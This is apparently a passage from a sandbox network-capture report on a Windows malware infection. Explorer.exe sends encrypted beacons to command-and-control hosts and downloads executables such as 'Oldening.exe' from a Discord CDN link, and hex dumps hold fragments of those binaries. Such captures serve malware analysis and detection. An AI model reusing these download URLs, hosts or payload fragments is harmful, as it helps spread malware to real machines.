Dec 1, 2021 09:13:56.884594917 CET	1087	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9a 66 5d 02 c8 a1 c1 64 31 97 80 66 Data Ascii: nIF}0?7XknwmDu$f]d1f*#]K{i8a1kErj%/#;@9'^+Hrv64fl>1GhS /`xY.yS:DKR6BM3O41W_9Qh+Dzp{CK
Dec 1, 2021 09:13:56.989212036 CET	1088	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:13:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 46 eb ab 8f 70 bc 57 da 4a d7 f7 26 84 22 e9 c3 90 50 2a e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OU&1UPJ%9FpWJ&"P*c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49763	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:13:57.375977039 CET	1089	OUT	GET /files/8723_1638191106_2017.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-file-host-3.com
Dec 1, 2021 09:13:57.461333036 CET	1090	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:13:57 GMT Content-Type: application/x-msdos-program Content-Length: 1285856 Connection: close Last-Modified: Mon, 29 Nov 2021 13:05:06 GMT ETag: "139ee0-5d1ed16faf7da" Accept-Ranges: bytes Data Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 20 3d 15 26 cf ba ee 2f 19 d3 60 ac 4f 9c ef f1 81 8e a1 4f 5b 97 45 f4 e8 76 69 7c ff 44 43 c7 9e 91 5b 41 d1 06 1c 81 dc 16 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 b8 78 cc d8 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 10 03 00 00 72 0c 00 00 00 00 00 00 d0 0f 00 00 20 00 00 00 40 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 10 17 00 00 04 00 00 5c 1b 14 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 03 00 f4 01 00 00 00 60 03 00 58 6f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 03 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 00 00 10 00 00 00 50 03 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 58 6f 0c 00 00 60 03 00 58 6f 0c 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 40 07 00 00 d0 0f 00 dd 28 07 00 00 76 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2b fd c3 f3 00 00 00 00 ed 14 0e 00 2f ba 5c 9a 3b 33 29 78 29 6e de aa 7f e6 ad 90 73 d0 6c a5 00 1c 1a 25 15 e6 10 1e 26 c0 8f de a9 3e 68 30 fe e0 82 6c fd 03 94 50 03 00 00 00 00 00 00 00 00 00 ec 50 03 00 8c 50 03 00 a4 50 03 00 00 00 00 00 00 00 00 00 13 51 03 00 9c 50 03 00 b4 50 03 00 00 00 00 00 00 00 00 Data Ascii: MZog':( =&/`OO[Evi\|DC[AQPELx0r @@\@P`Xo@`P@.rsrcXo`Xo@@@(v@+/\;3)x)nsl%&>h0lPPPPQPP
Dec 1, 2021 09:13:57.461384058 CET	1091	IN	Data Raw: 00 32 51 03 00 ac 50 03 00 c4 50 03 00 00 00 00 00 00 00 00 00 57 51 03 00 bc 50 03 00 d4 50 03 00 00 00 00 00 00 00 00 00 80 51 03 00 cc 50 03 00 e4 50 03 00 00 00 00 00 00 00 00 00 9f 51 03 00 dc 50 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2QPPWQPPQPPQPPP#Q#QDQDQgQgQQQQQkernel32.dll/GetModuleHandleAuser32.dll`O
Dec 1, 2021 09:13:57.461405993 CET	1093	IN	Data Raw: 01 10 ce f3 ef 03 f6 d1 fb 0e 39 52 6f 33 c0 83 c0 c3 4d 9b 1f 68 54 00 98 d9 36 e0 31 fc 6e 3a 22 8b 9d 02 f6 38 e7 8e c5 2e a4 2c 43 b1 0b 28 83 99 0d 9b d9 13 f8 fb ce d5 fc d2 c9 3a e0 a8 99 3d 11 2e 05 d7 5e ed 47 00 66 76 35 fe 53 bf ee 3b Data Ascii: 9Ro3MhT61n:"8.,C(:=.^Gfv5S;H&WbRlu?_7)J-GfXR&so.$oJ3&~H}aXmf6\|+:\|."W1aB)/*;+5r
Dec 1, 2021 09:13:57.461422920 CET	1094	IN	Data Raw: c9 52 0a 01 89 ac eb 8e 41 cb 05 c0 4d 39 16 d2 58 0a 01 89 a8 eb 04 7e c7 00 30 b3 4b d1 ca bf dc ac 19 5e cf 1f 6d fc 4b 3e 7b c6 39 b1 4b e9 48 21 50 4b 6b cd 6c 43 a7 7f d8 6d 04 a0 4b 7f 39 1b 3b fb 22 be be 69 bf 42 40 ca 76 6b a7 7f d0 2d Data Ascii: RAM9X~0K^mK>{9KH!PKklCmK9;"iB@vk-Y_TH:rCu<4~NR=$lrPHi.@)n;K(DQHv^\|B@}7mDFo,\Qb1B@/@
Dec 1, 2021 09:13:57.461437941 CET	1095	IN	Data Raw: 51 40 a5 28 04 a4 8d ae 3d bc 5c 00 3c 9b 63 21 52 02 85 80 2c d2 b5 87 bb 06 80 73 6e 1c dd 22 5c 39 0a 01 09 8e 87 1e ee 68 b9 11 00 c0 93 39 15 23 25 52 08 08 3d f4 6e 2f 01 f0 3c 30 9d bd 16 29 9b 42 a0 d1 a6 f1 bd db d5 b2 01 e0 9c 9b 41 93 Data Ascii: Q@(=\<c!R,sn"\9h9#%R=n/<0)BAhgBvHDFg{LHTF9zvYIB1z92ZXy~FKptO}NZ~)kp-T!_@!)\|3*>Vn/Z
Dec 1, 2021 09:13:57.461453915 CET	1097	IN	Data Raw: c1 ff 4e 6c 6a 52 f3 43 c3 46 00 ad cc 6c 0c 38 00 5c 17 b9 14 89 eb 05 e0 1b ce b9 89 d8 85 c4 d0 d8 00 98 63 66 57 02 fb 81 8d b1 6b 91 52 9d c0 6f da f1 7a ec 42 62 6a 7c 00 00 98 d9 4a e0 16 e0 21 b4 9c b8 ee a6 f0 0b 7a 9e 4d 75 9f be 32 29 Data Ascii: NljRCFl8\cfWkRozBbj\|J!zMu2)Z*`8n5\|Nm0pNCAMw~97(Ap~SRT~nj=A6r98Py>Uk:^]H(6'BLUq?(27[#
Dec 1, 2021 09:13:57.461472988 CET	1098	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fa ff ff ff Data Ascii: b%
Dec 1, 2021 09:13:57.461497068 CET	1099	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: /
Dec 1, 2021 09:13:57.461519003 CET	1101	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff d6 ff ff ff 5f ff ff ff 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: _
Dec 1, 2021 09:13:57.461539984 CET	1102	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:
Dec 1, 2021 09:13:57.519202948 CET	1104	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 5

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49764	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:00.132246971 CET	2431	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://byrobmm.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 157 Host: host-data-coin-11.com
Dec 1, 2021 09:14:00.132251024 CET	2432	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 9a 66 5d 02 c9 a1 c1 64 3c 96 c1 7e Data Ascii: nIF}0?7XknwmDu$f]d<~_v7go6^@rpJ=P/(;(&(t+0n(;W$T\|_ED9
Dec 1, 2021 09:14:00.235800028 CET	2432	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49767	162.159.130.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-01 08:14:01 UTC	0	OUT	GET /attachments/914960103592054858/914961866462232616/Oldening.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: cdn.discordapp.com
2021-12-01 08:14:01 UTC	0	IN	HTTP/1.1 200 OK Date: Wed, 01 Dec 2021 08:14:01 GMT Content-Type: application/x-msdos-program Content-Length: 397824 Connection: close CF-Ray: 6b6adc08b9bd2b4d-FRA Accept-Ranges: bytes Age: 131760 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Oldening.exe ETag: "5115e5dab211559a85cd0154e8100f53" Expires: Thu, 01 Dec 2022 08:14:01 GMT Last-Modified: Mon, 29 Nov 2021 19:31:48 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1638214308199102 x-goog-hash: crc32c=YIGNXA== x-goog-hash: md5=URXl2rIRVZqFzQFU6BAPUw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 397824 X-GUploader-UploadID: ADPycdvBnSbnjnhwzbmKVJY4AfYuSX_vGG4T8mybDbmzzEh5wTvKrUq6ILGhBDBk0UwTHNlT6meCPadacrFAck7K5BAkDWKQDw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-12-01 08:14:01 UTC	1	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 48 25 32 42 52 63 52 4e 59 73 67 47 64 47 38 61 42 25 32 42 70 47 56 6a 6e 53 48 25 32 42 52 48 71 51 47 59 62 6d 33 5a 49 75 6f 4c 6c 45 41 59 77 4b 39 57 75 75 67 77 52 68 25 32 46 51 70 71 6f 72 73 39 70 25 32 46 39 65 79 5a 6c 42 65 78 57 6b 64 58 41 32 6f 45 49 64 42 57 4c 45 4b 50 6a 57 4a 33 4a 6a 35 6c 59 59 36 64 52 53 4e 51 38 4f 46 69 70 43 6d 76 57 75 6d 66 65 33 7a 4a 42 69 51 59 56 38 7a 75 68 6a 6e 38 25 32 46 36 62 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=H%2BRcRNYsgGdG8aB%2BpGVjnSH%2BRHqQGYbm3ZIuoLlEAYwK9WuugwRh%2FQpqors9p%2F9eyZlBexWkdXA2oEIdBWLEKPjWJ3Jj5lYY6dRSNQ8OFipCmvWumfe3zJBiQYV8zuhjn8%2F6bg%3D%3D"}],"group":"cf-nel","max
2021-12-01 08:14:01 UTC	1	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 28 a3 71 d7 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 0a 06 00 00 06 00 00 00 00 00 00 fe 28 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL(q0( @@ @
2021-12-01 08:14:01 UTC	2	IN	Data Raw: 00 00 61 00 30 91 00 06 0b 00 00 01 00 00 61 00 30 97 00 06 24 00 00 01 00 00 00 00 a2 a2 00 06 01 00 00 01 1e 02 6f 25 00 00 0a 2a 1a 7e 06 00 00 04 2a 00 32 28 10 00 00 06 02 80 06 00 00 04 2a 00 00 00 1e 02 7b 07 00 00 04 2a 22 02 03 7d 07 00 00 04 2a 00 00 00 13 30 0d 00 a9 00 00 00 00 00 00 00 02 28 05 00 00 0a 02 7e 09 00 00 04 3a 24 00 00 00 16 d0 04 00 00 1b 28 0e 00 00 0a d0 09 00 00 02 28 0e 00 00 0a 28 15 00 00 0a 28 26 00 00 0a 80 09 00 00 04 7e 09 00 00 04 7b 27 00 00 0a 7e 09 00 00 04 7e 08 00 00 04 3a 3a 00 00 00 18 72 df 04 00 70 14 d0 09 00 00 02 28 0e 00 00 0a 18 8d 26 00 00 01 25 16 17 14 28 28 00 00 0a a2 25 17 16 14 28 28 00 00 0a a2 28 29 00 00 0a 28 2a 00 00 0a 80 08 00 00 04 7e 08 00 00 04 7b 2b 00 00 0a 7e 08 00 00 04 02 03 6f 2c Data Ascii: a0a0$o%~2({"}0(~:$((((&~{'~~::rp(&%((%((()(~{+~o,
2021-12-01 08:14:01 UTC	4	IN	Data Raw: 00 70 16 28 08 00 00 06 a2 73 1b 00 00 06 13 06 12 07 fe 15 21 00 00 02 12 10 fe 15 1b 00 00 02 12 10 20 1b 00 10 00 7d 15 00 00 04 11 10 13 08 17 8d 01 00 00 01 25 16 72 3d 00 00 70 16 28 08 00 00 06 a2 73 1b 00 00 06 13 09 02 7b 01 00 00 04 6f 51 00 00 06 25 13 12 39 09 00 00 00 11 12 8e 69 3a 09 00 00 00 16 e0 13 11 38 0b 00 00 00 11 12 16 8f 0d 00 00 01 e0 13 11 11 11 28 07 00 00 0a 13 05 11 11 0b 11 11 07 7b 19 00 00 04 e0 58 0c 14 13 12 07 7b 18 00 00 04 20 4d 5a 00 00 40 10 00 00 00 08 7b 1b 00 00 04 20 50 45 00 00 3b 02 00 00 00 16 2a 08 7c 1d 00 00 04 7b 1e 00 00 04 20 0b 01 00 00 3b 02 00 00 00 16 2a 02 7b 01 00 00 04 6f 51 00 00 06 20 98 03 00 00 18 9c 12 0a fe 15 22 00 00 02 12 0a 11 0a 8c 22 00 00 02 28 08 00 00 0a 7d 2a 00 00 04 12 0a 16 7d Data Ascii: p(s! }%r=p(s{oQ%9i:8({X{ MZ@{ PE;\|{ ;{oQ ""(}*}
2021-12-01 08:14:01 UTC	5	IN	Data Raw: 0b 1e 28 11 00 00 0a 38 12 00 00 00 11 15 17 58 13 15 11 15 20 43 69 08 00 3f c6 ff ff ff 11 06 72 4b 02 00 70 16 28 08 00 00 06 6f 07 00 00 2b 11 07 7b 26 00 00 04 11 08 7b 16 00 00 04 6e 1e 6a 58 28 09 00 00 0a 11 0b 1a 7e 06 00 00 0a 6f 25 00 00 06 3a 6b 00 00 00 11 0b 28 12 00 00 0a 11 06 72 c9 00 00 70 16 28 08 00 00 06 6f 02 00 00 2b 11 07 7b 26 00 00 04 15 6f 29 00 00 06 39 40 00 00 00 11 06 72 13 01 00 70 16 28 08 00 00 06 6f 03 00 00 2b 11 07 7b 26 00 00 04 6f 2d 00 00 06 26 11 06 72 13 01 00 70 16 28 08 00 00 06 6f 03 00 00 2b 11 07 7b 27 00 00 04 6f 2d 00 00 06 26 16 2a 11 0b 28 12 00 00 0a 08 7c 1d 00 00 04 7b 1f 00 00 04 13 0f 12 08 11 0c 11 0f 6e 58 6d 7d 17 00 00 04 06 39 8a 00 00 00 11 06 72 39 03 00 70 16 28 08 00 00 06 6f 09 00 00 2b 11 Data Ascii: (8X Ci?rKp(o+{&{njX(~o%:k(rp(o+{&o)9@rp(o+{&o-&rp(o+{'o-&*(\|{nXm}9r9p(o+
2021-12-01 08:14:01 UTC	6	IN	Data Raw: 00 13 00 1b 00 81 01 10 00 21 01 30 01 05 00 14 00 1f 00 02 01 00 00 3f 01 00 00 09 00 15 00 20 00 02 01 00 00 5b 01 00 00 09 00 15 00 24 00 02 01 00 00 66 01 00 00 09 00 15 00 28 00 02 01 00 00 81 01 00 00 09 00 15 00 2c 00 02 01 00 00 8c 01 00 00 09 00 15 00 30 00 02 01 00 00 a0 01 00 00 09 00 15 00 34 00 02 01 00 00 a7 01 00 00 09 00 15 00 38 00 02 01 00 00 bf 01 00 00 09 00 15 00 3c 00 02 01 00 00 d5 01 00 00 09 00 15 00 40 00 02 01 00 00 ee 01 00 00 09 00 15 00 44 00 02 01 00 00 f5 01 00 00 09 00 15 00 48 00 02 01 00 00 0b 02 00 00 09 00 15 00 4c 00 11 01 10 00 23 02 30 02 0d 00 15 00 50 00 11 01 10 00 52 02 62 02 0d 00 18 00 50 00 11 01 10 00 71 02 51 00 0d 00 1a 00 50 00 11 01 10 00 76 02 de 00 0d 00 1b 00 50 00 11 01 10 00 88 02 8f 02 0d 00 1e 00 Data Ascii: !0? [$f(,048<@DHL#0PRbPqQPvP
2021-12-01 08:14:01 UTC	8	IN	Data Raw: 03 00 86 18 71 03 cc 00 4a 00 00 00 00 00 03 00 c6 01 bd 03 8f 04 4c 00 00 00 00 00 03 00 c6 01 b6 09 a5 04 59 00 00 00 00 00 03 00 c6 01 ed 09 c1 04 67 00 00 00 00 00 03 00 86 18 71 03 cc 00 6b 00 00 00 00 00 03 00 c6 01 bd 03 d0 04 6d 00 00 00 00 00 03 00 c6 01 b6 09 d8 04 70 00 00 00 00 00 03 00 c6 01 ed 09 62 04 74 00 00 00 00 00 03 00 86 18 71 03 cc 00 76 00 00 00 00 00 03 00 c6 01 bd 03 d0 04 78 00 00 00 00 00 03 00 c6 01 b6 09 d8 04 7b 00 00 00 00 00 03 00 c6 01 ed 09 62 04 7f 00 00 00 00 00 03 00 86 18 71 03 cc 00 81 00 00 00 00 00 03 00 c6 01 bd 03 e6 04 83 00 00 00 00 00 03 00 c6 01 b6 09 ec 04 85 00 00 00 00 00 03 00 c6 01 ed 09 f8 04 89 00 00 00 00 00 03 00 86 18 71 03 cc 00 8a 00 00 00 00 00 03 00 c6 01 bd 03 ff 04 8c 00 00 00 00 00 03 00 c6 Data Ascii: qJLYgqkmpbtqvx{bqq
2021-12-01 08:14:01 UTC	9	IN	Data Raw: 00 03 00 a4 0b 00 00 04 00 ad 0b 00 00 05 00 b8 0b 00 00 06 00 c7 0b 00 00 07 00 dd 09 00 00 08 00 e6 09 00 00 01 00 98 0b 00 00 02 00 ad 0b 00 00 03 00 f7 09 00 00 01 00 cf 0b 00 00 02 00 7c 0b 00 20 01 00 69 0b 00 20 01 00 69 0b 00 00 02 00 dd 09 00 00 03 00 e6 09 00 00 01 00 f7 09 00 00 01 00 29 05 00 00 02 00 7c 0b 00 00 01 00 dd 09 00 00 02 00 e6 09 00 00 01 00 f7 09 00 00 01 00 d4 0b 00 00 02 00 6a 0a 00 00 01 00 d8 0b 00 00 02 00 dd 0b 00 00 01 00 d8 0b 00 00 02 00 dd 0b 00 00 03 00 dd 09 00 00 04 00 e6 09 00 00 01 00 f7 09 00 00 01 00 98 09 00 00 01 00 9d 03 31 00 71 03 b0 00 0c 00 71 03 cc 00 0c 00 bd 03 d2 00 59 00 71 03 d7 00 09 00 71 03 d7 00 51 00 36 04 10 01 51 00 3b 04 13 01 89 00 4f 04 19 01 51 00 3b 04 1e 01 91 00 77 04 28 01 51 00 8a 04 Data Ascii: \| i i)\|j1qqYqqQ6Q;OQ;w(Q
2021-12-01 08:14:01 UTC	10	IN	Data Raw: 0e 00 17 00 0e 00 18 00 0e 00 19 00 0e 00 1a 00 0e 00 25 00 24 00 00 00 04 00 39 00 4e 09 38 00 23 01 38 00 32 01 38 00 37 01 38 00 41 01 38 00 46 01 38 00 4b 01 38 00 50 01 38 00 66 01 38 00 7e 01 38 00 83 01 38 00 4a 02 38 00 4f 02 00 4f 6c 64 65 6e 69 6e 67 00 4f 6c 64 65 6e 69 6e 67 2e 65 78 65 00 3c 4d 6f 64 75 6c 65 3e 00 49 6e 66 6f 00 4f 6c 64 65 6e 69 6e 67 2e 4d 61 70 73 00 4f 62 6a 65 63 74 00 53 79 73 74 65 6d 00 6d 73 63 6f 72 6c 69 62 00 57 6f 72 6b 65 72 00 4f 6c 64 65 6e 69 6e 67 2e 53 68 61 72 65 64 00 3c 3e 63 5f 5f 44 69 73 70 6c 61 79 43 6c 61 73 73 32 5f 30 00 49 6e 69 74 69 61 6c 69 7a 65 72 4d 65 73 73 61 67 65 44 65 53 65 72 69 61 6c 69 7a 65 72 00 4f 6c 64 65 6e 69 6e 67 2e 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 00 4d 6f 64 65 6c Data Ascii: %$9N8#82878A8F8K8P8f8~88J8OOldeningOldening.exe<Module>InfoOldening.MapsObjectSystemmscorlibWorkerOldening.Shared<>c__DisplayClass2_0InitializerMessageDeSerializerOldening.SerializationModel
